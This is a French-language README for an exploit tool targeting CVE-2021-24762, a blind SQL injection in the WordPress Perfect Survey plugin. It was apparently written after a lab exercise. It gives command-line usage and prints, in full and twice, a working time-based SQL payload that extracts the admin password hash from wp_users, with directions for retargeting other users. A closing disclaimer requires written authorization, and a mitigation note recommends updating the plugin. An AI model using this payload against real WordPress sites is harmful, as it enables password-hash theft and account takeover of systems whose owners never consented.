exploit_cve-2021-24762

Ce dépôt montre un exploit pour CVE-2021-24762. Il s'agit d'une injection SQL aveugle qui, dans la configuration par défaut, récupère le mot de passe de l'administrateur.

En réalisant un laboratoire basé sur Wordpress avec le plugin PerfectSurvey, je suis resté bloqué sur une vulnérabilité SQL. Les seuls PoC disponibles étaient basés sur sqlmap et ne fonctionnaient pas correctement dans le laboratoire sur lequel je travaillais (il y avait beaucoup de questions supplémentaires, par exemple l'application retournait une erreur 404, les délais d'attente variaient trop, et d'autres problèmes). J'ai donc créé cet outil pour exploiter le laboratoire.

Objectifs

• Ce PoC exploite CVE-2021-24762, qui concerne le plugin Wordpress Perfect Survey. L'exploit est basé sur une injection SQL avec SLEEP et obtient le hachage du mot de passe de l'utilisateur 'admin'. Cet utilisateur est celui par défaut dans les environnements Wordpress.
• Où cela fonctionne : Plugin Perfect Survey dans les versions < 1.5.2.

Impact et Sévérité

• CVE-2021-24762 : [CVSS 9.8 (Critique)]
• Impacts : confidentialité, intégrité, disponibilité, accès non autorisé.

Environnement

• Prérequis logiciels : Python3.

Utilisation

 ____     _      ___   ____
 / ___|   / \    |_ _| / ___|
| |      / _ \    | |  \___ \
| |___  / ___ \   | |   __ ) |
 \____|/_/   \_\ |___| |____/

   CAIS - Inteligência em Cibersegurança
   Exploit for: CVE-2021-24762

usage: exploit_cve-2021-24762.py [-h] [-u URL] [-p PATH] [-d DELAY] [-t TIMEOUT] [-c CHARSET] [-m MAX_LEN] [-v]

Safe CLI wrapper — receives url/path/delay/timeout/charset and forwards it

options:
  -h, --help            show this help message and exit
  -u, --url URL         Base URL (default: http://192.168.10.10)
  -p, --path PATH       path (default: /wp-admin/admin-ajax.php)
  -d, --delay DELAY     delay in seconds (default: 30)
  -t, --timeout TIMEOUT
                        timeout in seconds (default: delay + 15)
  -c, --charset CHARSET
                        charset to be used (default: alnum + ./$_-@)
  -m, --max-len MAX_LEN
                        maximum length (default: 20)
  -v, --verbose         activates log debugging

1. Le script Python reçoit les paramètres ci-dessus. S'ils ne sont pas fournis, le script s'exécute avec ses valeurs par défaut.

2. Idéalement, vous devrez fournir au moins l'URL. Faites-le avec -u ou --url. Les autres paramètres fonctionneront probablement avec les valeurs par défaut.

3. Dans la configuration par défaut, il obtient le hachage du mot de passe de l'utilisateur admin. Cette configuration est appliquée dans la variable payload, dans la valeur de user_login : payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"

   Si vous devez trouver le hachage pour un autre utilisateur, modifiez "0x61646d696e" (admin) selon vos besoins.

Risques et limitations

• Limitation : Dans la configuration actuelle, ce PoC n'obtient que les hachages des mots de passe dans Wordpress avec les structures de base de données par défaut. Si vous rencontrez un environnement modifié, vous devez modifier ce payload : payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"

Atténuation et correction (recommandations)

• Recommandations d'atténuation : Mettre à jour le plugin vers la version 1.5.2 ou supérieure.
• Références :
  • https://nvd.nist.gov/vuln/detail/CVE-2021-24762
  • https://www.getperfectsurvey.com/

Avertissement et autorisations

Utilisation restreinte — Ce dépôt contient un contenu sensible destiné à un usage éthique et responsable uniquement. N'oubliez pas que vous devez avoir une autorisation écrite du propriétaire du système que vous testez. Toute utilisation hors de ce cadre n'est pas autorisée et sera imputée à votre responsabilité (voulez-vous aller en prison ?).

Structure du dépôt

• exploit_cve-2021-24762 — Exploit.
• README.ME — Ce fichier.

Journal des modifications

2025-10-10 — c4cnm — Creation et modifications initiales

Contact

• Auteur : Red Team CAIS:/Matheus Camargo (c4cnm), [email protected].

Licence

GNU General Public License v3 (GPL)